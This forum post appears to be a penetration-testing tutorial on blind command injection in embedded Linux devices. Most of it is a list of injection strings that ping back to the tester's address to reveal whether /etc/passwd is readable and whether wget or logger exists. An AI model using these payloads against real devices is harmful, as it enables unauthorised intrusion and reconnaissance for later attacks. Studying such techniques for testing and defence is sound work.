Aerosol Posted January 22, 2015 Report Share Posted January 22, 2015 When you find an offsec 101 style blind-command injection on embedded systems, youmay have difficulties because of their restricted environments.;ping -c1 192.168.1.2;Even though you may able to run some commands like ping or reboot... other commandsmay not work. Since the output was not showing, you cannot be sure if the commands donot exists or they fail for a reason.So, in such scenarios I always check for my injection commands as in the example below:# This command will ping you back if `ls` is found in "/bin" directory;if test -e "/bin/ls";then ping -c1 192.168.1.2;fi;# or better;if test -e "/bin/ls";then ping -c1 192.168.1.2;else ping -c2 192.168.1.2;fi;After I see that this approach works, I use more commands to understand my targetenvironment better:# To check if "/tmp" directory exsists?;if test -d "/tmp";then ping -c2 192.168.1.2;fi;# To check if "/var/passwd" file is exsists and has read permissions?;if test -r "/var/passwd";then ping -c2 192.168.1.2;fi;;if test -r "/etc/passwd";then ping -c2 192.168.1.2;fi;# To check if logger exists? -- which is another tricky command used in BlindCI...;if test -e "/usr/bin/logger";then ping -c1 192.168.1.2;fi;# To check if wget is exists?;if test -e "/bin/wget";then ping -c1 192.168.1.2;fi;;if test -e "/sbin/wget";then ping -c1 192.168.1.2;fi;;if test -e "/usr/bin/wget";then ping -c1 192.168.1.2;fi;;if test -e "/usr/sbin/wget";then ping -c1 192.168.1.2;fi;Note: Embedded systems may differ depending to their build systems(Buildroot, LinuxFromScratch,Yocto...) and/or they can use slightly different versions of well-known commands. Thus, you may need tochange some parameters while using those commands. Since we are talking about BLIND COMMANDINJECTION you have to be sure that your injection command/binary is installed on your target. That's whyit is a good practice to check your commands in all possible "bin" directories.For example; three commands below does the exact same-thing, however if you try yourinjection(s) based on just one version you can "assume" that wget does not exists on yourRead more: http://dl.packetstormsecurity.net/papers/attack/blind_command_injection_on_busybox.pdf Quote Link to comment Share on other sites More sharing options...